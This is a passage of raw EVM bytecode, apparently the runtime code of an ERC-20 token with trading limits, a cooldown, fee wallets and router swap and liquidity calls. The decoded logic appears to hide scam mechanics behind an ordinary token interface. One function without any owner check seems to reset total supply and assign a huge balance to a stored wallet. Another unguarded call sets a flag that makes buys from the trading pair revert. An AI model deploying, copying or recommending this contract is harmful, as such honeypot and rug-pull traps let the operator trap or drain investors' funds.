749578063a9059cbb14610774578063c5d32bb2146107b1578063d2ce0db2146107ee578063dd62ed3e1461081957610251565b80638cd4426d116100fd5780638cd4426d146106835780638da5cb5b146106ac57806395d89b41146106d7578063a457c2d714610702578063a6822f491461073f57610251565b806366a88d96146105975780636aa5b37f146105c257806370a08231146105ed578063728f8eea1461062a57806385141a771461065857610251565b806327ff81f9116101c75780634ada218b1161018b5780634ada218b146104c057806350ac5e80146104eb57806353028894146105165780635ba5bcfc14610541578063652e2f041461056c57610251565b806327ff81f9146103fc578063313ce56714610406578063355496ca14610431578063395093511461045a57806342b6fa111461049757610251565b80631675d8021161020e5780631675d8021461032757806318160ddd1461035257806320800a001461037d57806323b872dd14610394578063274a533c146103d157610251565b806306fdde0314610256578063095ea7b3146102815780630e375a5c146102be5780631340538f146102e7578063144b080e1461031057610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b610957565b6040516102789190612fef565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a391906130b9565b6109e9565b6040516102b59190613114565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906132a3565b610a07565b005b3480156102f357600080fd5b5061030e600480360381019061030991906132ff565b610b18565b005b34801561031c57600080fd5b50610325610bb1565b005b34801561033357600080fd5b5061033c610c39565b604051610349919061333b565b60405180910390f35b34801561035e57600080fd5b50610367610c3f565b604051610374919061333b565b60405180910390f35b34801561038957600080fd5b50610392610c49565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190613356565b610d1b565b6040516103c89190613114565b60405180910390f35b3480156103dd57600080fd5b506103e6610e1c565b6040516103f3919061333b565b60405180910390f35b610404610e22565b005b34801561041257600080fd5b5061041b610e49565b60405161042891906133c5565b60405180910390f35b34801561043d57600080fd5b50610458600480360381019061045391906133e0565b610e52565b005b34801561046657600080fd5b50610481600480360381019061047c91906130b9565b610f29565b60405161048e9190613114565b60405180910390f35b3480156104a357600080fd5b506104be60048036038101906104b99190613420565b610fd5565b005b3480156104cc57600080fd5b506104d56110be565b6040516104e29190613114565b60405180910390f35b3480156104f757600080fd5b506105006110d1565b60405161050d919061345c565b60405180910390f35b34801561052257600080fd5b5061052b6110f7565b604051610538919061345c565b60405180910390f35b34801561054d57600080fd5b5061055661111d565b604051610563919061345c565b60405180910390f35b34801561057857600080fd5b50610581611143565b60405161058e919061333b565b60405180910390f35b3480156105a357600080fd5b506105ac611149565b6040516105b9919061333b565b60405180910390f35b3480156105ce57600080fd5b506105d761114f565b6040516105e4919061333b565b60405180910390f35b3480156105f957600080fd5b50610614600480360381019061060f9190613477565b611155565b604051610621919061333b565b60405180910390f35b34801561063657600080fd5b5061063f61119d565b60405161064f94939291906134a4565b60405180910390f35b34801561066457600080fd5b5061066d6111bb565b60405161067a919061345c565b60405180910390f35b34801561068f57600080fd5b506106aa60048036038101906106a591906130b9565b6111c1565b005b3480156106b857600080fd5b506106c1611335565b6040516106ce919061345c565b60405180910390f35b3480156106e357600080fd5b506106ec61135f565b6040516106f99190612fef565b60405180910390f35b34801561070e57600080fd5b50610729600480360381019061072491906130b9565b6113f1565b6040516107369190613114565b60405180910390f35b6107476114e5565b005b34801561075557600080fd5b5061075e611520565b60405161076b919061345c565b60405180910390f35b34801561078057600080fd5b5061079b600480360381019061079691906130b9565b611546565b6040516107a89190613114565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190613477565b61155d565b6040516107e59190613114565b60405180910390f35b3480156107fa57600080fd5b5061080361157d565b604051610810919061333b565b60405180910390f35b34801561082557600080fd5b50610840600480360381019061083b91906134e9565b611583565b60405161084d919061333b565b60405180910390f35b34801561086257600080fd5b5061087d60048036038101906108789190613529565b61160a565b005b34801561088b57600080fd5b506108946117c9565b6040516108a19190613114565b60405180910390f35b3480156108b657600080fd5b506108d160048036038101906108cc9190613477565b6117dc565b005b3480156108df57600080fd5b506108e86118d3565b6040516108f894939291906134a4565b60405180910390f35b34801561090d57600080fd5b506109166118f1565b60405161092391906135db565b60405180910390f35b34801561093857600080fd5b50610941611917565b60405161094e9190613114565b60405180910390f35b60606003805461096690613625565b80601f016020809104026020016040519081016040528092919081815260200182805461099290613625565b80156109df5780601f106109b4576101008083540402835291602001916109df565b820191906000526020600020905b8154815290600101906020018083116109c257829003601f168201915b5050505050905090565b60006109fd6109f661192a565b8484611932565b6001905092915050565b610a0f61192a565b73ffffffffffffffffffffffffffffffffffffffff16610a2d611335565b73ffffffffffffffffffffffffffffffffffffffff1614610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a906136a2565b60405180910390fd5b60005b8251811015610b135781601b6000858481518110610aa757610aa66136c2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b0b90613720565b915050610a86565b505050565b610b2061192a565b73ffffffffffffffffffffffffffffffffffffffff16610b3e611335565b73ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906136a2565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b610bb961192a565b73ffffffffffffffffffffffffffffffffffffffff16610bd7611335565b73ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c24906136a2565b60405180910390fd5b610c376000611afb565b565b60085481565b6000600254905090565b610c5161192a565b73ffffffffffffffffffffffffffffffffffffffff16610c6f611335565b73ffffffffffffffffffffffffffffffffffffffff1614610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc906136a2565b60405180910390fd5b6000479050610cd2611335565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d17573d6000803e3d6000fd5b5050565b6000610d28848484611bc1565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d7361192a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea906137da565b60405180910390fd5b610e1085610dff61192a565b8584610e0b91906137fa565b611932565b60019150509392505050565b600c5481565b6003600d60006101000a81548163ffffffff021916908360030b63ffffffff160217905550565b60006012905090565b610e5a61192a565b73ffffffffffffffffffffffffffffffffffffffff16610e78611335565b73ffffffffffffffffffffffffffffffffffffffff1614610ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec5906136a2565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610fcb610f3661192a565b848460016000610f4461192a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc6919061382e565b611932565b6001905092915050565b610fdd61192a565b73ffffffffffffffffffffffffffffffffffffffff16610ffb611335565b73ffffffffffffffffffffffffffffffffffffffff1614611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906136a2565b60405180910390fd5b612710811115611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906138d4565b60405180910390fd5b61109e610e49565b600a6110aa9190613a27565b816110b59190613a72565b60088190555050565b600760169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600b5481565b60095481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60138060000154908060010154908060020154908060030154905084565b61dead81565b6111c961192a565b73ffffffffffffffffffffffffffffffffffffffff166111e7611335565b73ffffffffffffffffffffffffffffffffffffffff161461123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906136a2565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290613b26565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6112cf611335565b836040518363ffffffff1660e01b81526004016112ed929190613b46565b6020604051808303816000875af115801561130c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113309190613b84565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461136e90613625565b80601f016020809104026020016040519081016040528092919081815260200182805461139a90613625565b80156113e75780601f106113bc576101008083540402835291602001916113e7565b820191906000526020600020905b8154815290600101906020018083116113ca57829003601f168201915b5050505050905090565b6000806001600061140061192a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490613c23565b60405180910390fd5b6114da6114c861192a565b8585846114d591906137fa565b611932565b600191505092915050565b61151e601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c01431e0fae6d7217caa000000061256a565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611553338484611bc1565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b601e5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61161261192a565b73ffffffffffffffffffffffffffffffffffffffff16611630611335565b73ffffffffffffffffffffffffffffffffffffffff1614611686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167d906136a2565b60405180910390fd5b6127108310156116cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c290613cb5565b60405180910390fd5b612710821015611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613d47565b60405180910390fd5b612710811015611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c90613dd9565b60405180910390fd5b61175d610e49565b600a6117699190613a27565b836117749190613a72565b600981905550611782610e49565b600a61178e9190613a27565b826117999190613a72565b600a819055506117a7610e49565b600a6117b39190613a27565b816117be9190613a72565b600b81905550505050565b601d60009054906101000a900460ff1681565b6117e461192a565b73ffffffffffffffffffffffffffffffffffffffff16611802611335565b73ffffffffffffffffffffffffffffffffffffffff1614611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f906136a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be90613e6b565b60405180910390fd5b6118d081611afb565b50565b60178060000154908060010154908060020154908060030154905084565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760159054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199890613efd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0790613f8f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aee919061333b565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008111611c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfb90614021565b60405180910390fd5b601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ca85750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cfd57600760169054906101000a900460ff16611cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf39061408d565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611da45750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dbd5750600760149054906101000a900460ff16155b15611e6057600954811115611e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfe906140f9565b60405180910390fd5b600b5481611e1484611155565b611e1e919061382e565b1115611e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5690614165565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f085750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f5e5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f775750600760149054906101000a900460ff16155b1561215f57600a54811115611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb8906141d1565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461206f57600b548161202384611155565b61202d919061382e565b111561206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590614165565b60405180910390fd5b5b601d60009054906101000a900460ff161561215e576000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426120d191906137fa565b9050601e54811015612118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210f9061423d565b60405180910390fd5b42601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5b600080600061216c612f37565b6000601b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122125750601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561222c5750600e54600c54612229919061382e565b43105b9050600760149054906101000a900460ff16806122925750601b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806122e65750601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f4576000925061247a565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614801561234f575080155b156123ea576001600d60009054906101000a900460030b60030b1461237357600080fd5b601760030154601760020154601760000154601760010154612395919061382e565b61239f919061382e565b6123a9919061382e565b945084935060176040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820154815250509150612479565b8061246657601360030154601360020154601360000154601360010154612411919061382e565b61241b919061382e565b612425919061382e565b945084935060136040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820154815250509150612478565b801561247757600f549450600f5493505b5b5b5b606484876124889190613a72565b612492919061428c565b9250600760159054906101000a900460ff1680156124fe5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b1561250e5761250d858361261e565b5b6125248888858961251f91906137fa565b6128ae565b600083111561256057600085111561255f576000606486886125469190613a72565b612550919061428c565b905061255d8930836128ae565b505b5b5050505050505050565b80600281905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612612919061333b565b60405180910390a35050565b600760149054906101000a900460ff166128aa576001600760146101000a81548160ff021916908315150217905550600082031561288e57600061266130611155565b9050600854811061288c576001600854111561267d5760085490505b600060028461268c9190613a72565b90506000818460200151846126a19190613a72565b6126ab919061428c565b9050600081846126bb91906137fa565b905060004790506126cb82612b20565b600081476126d991906137fa565b905060008760200151866126ed91906137fa565b826126f8919061428c565b9050600088602001518261270c9190613a72565b90506000811115612722576127218682612d63565b5b600089600001516002846127369190613a72565b6127409190613a72565b905060008111156127975761279681601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e4390919063ffffffff16565b5b60008a604001516002856127ab9190613a72565b6127b59190613a72565b9050600081111561280c5761280b81601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e4390919063ffffffff16565b5b60008b606001516002866128209190613a72565b61282a9190613a72565b905060008111156128815761288081601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e4390919063ffffffff16565b5b505050505050505050505b505b6000600760146101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361291d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129149061432f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361298c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612983906143c1565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0990614453565b60405180910390fd5b8181612a1e91906137fa565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aae919061382e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b12919061333b565b60405180910390a350505050565b6000600267ffffffffffffffff811115612b3d57612b3c613134565b5b604051908082528060200260200182016040528015612b6b5781602001602082028036833780820191505090505b5090503081600081518110612b8357612b826136c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c4e9190614488565b81600181518110612c6257612c616136c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612cc930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611932565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612d2d9594939291906145ae565b600060405180830381600087803b158015612d4757600080fd5b505af1158015612d5b573d6000803e3d6000fd5b505050505050565b612d9030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611932565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612df996959493929190614608565b60606040518083038185885af1158015612e17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e3c919061467e565b5050505050565b80471015612e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e7d9061471d565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612eac9061476e565b60006040518083038185875af1925050503d8060008114612ee9576040519150601f19603f3d011682016040523d82523d6000602084013e612eee565b606091505b5050905080612f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f29906147f5565b60405180910390fd5b505050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f99578082015181840152602081019050612f7e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612fc182612f5f565b612fcb8185612f6a565b9350612fdb818560208601612f7b565b612fe481612fa5565b840191505092915050565b600060208201905081810360008301526130098184612fb6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061305082613025565b9050919050565b61306081613045565b811461306b57600080fd5b50565b60008135905061307d81613057565b92915050565b6000819050919050565b61309681613083565b81146130a157600080fd5b50565b6000813590506130b38161308d565b92915050565b600080604083850312156130d0576130cf61301b565b5b60006130de8582860161306e565b92505060206130ef858286016130a4565b9150509250929050565b60008115159050919050565b61310e816130f9565b82525050565b60006020820190506131296000830184613105565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61316c82612fa5565b810181811067ffffffffffffffff8211171561318b5761318a613134565b5b80604052505050565b600061319e613011565b90506131aa8282613163565b919050565b600067ffffffffffffffff8211156131ca576131c9613134565b5b602082029050602081019050919050565b600080fd5b60006131f36131ee846131af565b613194565b90508083825260208201905060208402830185811115613216576132156131db565b5b835b8181101561323f578061322b888261306e565b845260208401935050602081019050613218565b5050509392505050565b600082601f83011261325e5761325d61312f565b5b813561326e8482602086016131e0565b91505092915050565b613280816130f9565b811461328b57600080fd5b50565b60008135905061329d81613277565b92915050565b600080604083850312156132ba576132b961301b565b5b600083013567ffffffffffffffff8111156132d8576132d7613020565b5b6132e485828601613249565b92505060206132f58582860161328e565b9150509250929050565b6000602082840312156133155761331461301b565b5b60006133238482850161328e565b91505092915050565b61333581613083565b82525050565b6000602082019050613350600083018461332c565b92915050565b60008060006060848603121561336f5761336e61301b565b5b600061337d8682870161306e565b935050602061338e8682870161306e565b925050604061339f868287016130a4565b9150509250925092565b600060ff82169050919050565b6133bf816133a9565b82525050565b60006020820190506133da60008301846133b6565b92915050565b600080604083850312156133f7576133f661301b565b5b60006134058582860161306e565b92505060206134168582860161328e565b9150509250929050565b6000602082840312156134365761343561301b565b5b6000613444848285016130a4565b91505092915050565b61345681613045565b82525050565b6000602082019050613471600083018461344d565b92915050565b60006020828403121561348d5761348c61301b565b5b600061349b8482850161306e565b91505092915050565b60006080820190506134b9600083018761332c565b6134c6602083018661332c565b6134d3604083018561332c565b6134e0606083018461332c565b95945050505050565b60008060408385031215613500576134ff61301b565b5b600061350e8582860161306e565b925050602061351f8582860161306e565b9150509250929050565b6000806000606084860312156135425761354161301b565b5b6000613550868287016130a4565b9350506020613561868287016130a4565b9250506040613572868287016130a4565b9150509250925092565b6000819050919050565b60006135a161359c61359784613025565b61357c565b613025565b9050919050565b60006135b382613586565b9050919050565b60006135c5826135a8565b9050919050565b6135d5816135ba565b82525050565b60006020820190506135f060008301846135cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061363d57607f821691505b6020821081036136505761364f6135f6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061368c602083612f6a565b915061369782613656565b602082019050919050565b600060208201905081810360008301526136bb8161367f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061372b82613083565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361375d5761375c6136f1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006137c4602883612f6a565b91506137cf82613768565b604082019050919050565b600060208201905081810360008301526137f3816137b7565b9050919050565b600061380582613083565b915061381083613083565b9250828203905081811115613828576138276136f1565b5b92915050565b600061383982613083565b915061384483613083565b925082820190508082111561385c5761385b6136f1565b5b92915050565b7f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060008201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000602082015250565b60006138be603e83612f6a565b91506138c982613862565b604082019050919050565b600060208201905081810360008301526138ed816138b1565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561394b57808604811115613927576139266136f1565b5b60018516156139365780820291505b8081029050613944856138f4565b945061390b565b94509492505050565b6000826139645760019050613a20565b816139725760009050613a20565b81600181146139885760028114613992576139c1565b6001915050613a20565b60ff8411156139a4576139a36136f1565b5b8360020a9150848211156139bb576139ba6136f1565b5b50613a20565b5060208310610133831016604e8410600b84101617156139f65782820a9050838111156139f1576139f06136f1565b5b613a20565b613a038484846001613901565b92509050818404811115613a1a57613a196136f1565b5b81810290505b9392505050565b6000613a3282613083565b9150613a3d836133a9565b9250613a6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613954565b905092915050565b6000613a7d82613083565b9150613a8883613083565b9250828202613a9681613083565b91508282048414831517613aad57613aac6136f1565b5b5092915050565b7f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c60008201527f616e6365206f6620697473206f776e20746f6b656e7300000000000000000000602082015250565b6000613b10603683612f6a565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b6000604082019050613b5b600083018561344d565b613b68602083018461332c565b9392505050565b600081519050613b7e81613277565b92915050565b600060208284031215613b9a57613b9961301b565b5b6000613ba884828501613b6f565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613c0d602583612f6a565b9150613c1882613bb1565b604082019050919050565b60006020820190508181036000830152613c3c81613c00565b9050919050565b7f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f7765722060008201527f7468616e20312500000000000000000000000000000000000000000000000000602082015250565b6000613c9f602783612f6a565b9150613caa82613c43565b604082019050919050565b60006020820190508181036000830152613cce81613c92565b9050919050565b7f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f77657260008201527f207468616e203125000000000000000000000000000000000000000000000000602082015250565b6000613d31602883612f6a565b9150613d3c82613cd5565b604082019050919050565b60006020820190508181036000830152613d6081613d24565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760008201527f6572207468616e20312500000000000000000000000000000000000000000000602082015250565b6000613dc3602a83612f6a565b9150613dce82613d67565b604082019050919050565b60006020820190508181036000830152613df281613db6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613e55602683612f6a565b9150613e6082613df9565b604082019050919050565b60006020820190508181036000830152613e8481613e48565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613ee7602483612f6a565b9150613ef282613e8b565b604082019050919050565b60006020820190508181036000830152613f1681613eda565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f79602283612f6a565b9150613f8482613f1d565b604082019050919050565b60006020820190508181036000830152613fa881613f6c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061400b602983612f6a565b915061401682613faf565b604082019050919050565b6000602082019050818103600083015261403a81613ffe565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000614077601383612f6a565b915061408282614041565b602082019050919050565b600060208201905081810360008301526140a68161406a565b9050919050565b7f596f752061726520657863656564696e67206d61784275794c696d6974000000600082015250565b60006140e3601d83612f6a565b91506140ee826140ad565b602082019050919050565b60006020820190508181036000830152614112816140d6565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c65744c696d6974600082015250565b600061414f602083612f6a565b915061415a82614119565b602082019050919050565b6000602082019050818103600083015261417e81614142565b9050919050565b7f596f752061726520657863656564696e67206d617853656c6c4c696d69740000600082015250565b60006141bb601e83612f6a565b91506141c682614185565b602082019050919050565b600060208201905081810360008301526141ea816141ae565b9050919050565b7f436f6f6c646f776e20656e61626c656400000000000000000000000000000000600082015250565b6000614227601083612f6a565b9150614232826141f1565b602082019050919050565b600060208201905081810360008301526142568161421a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b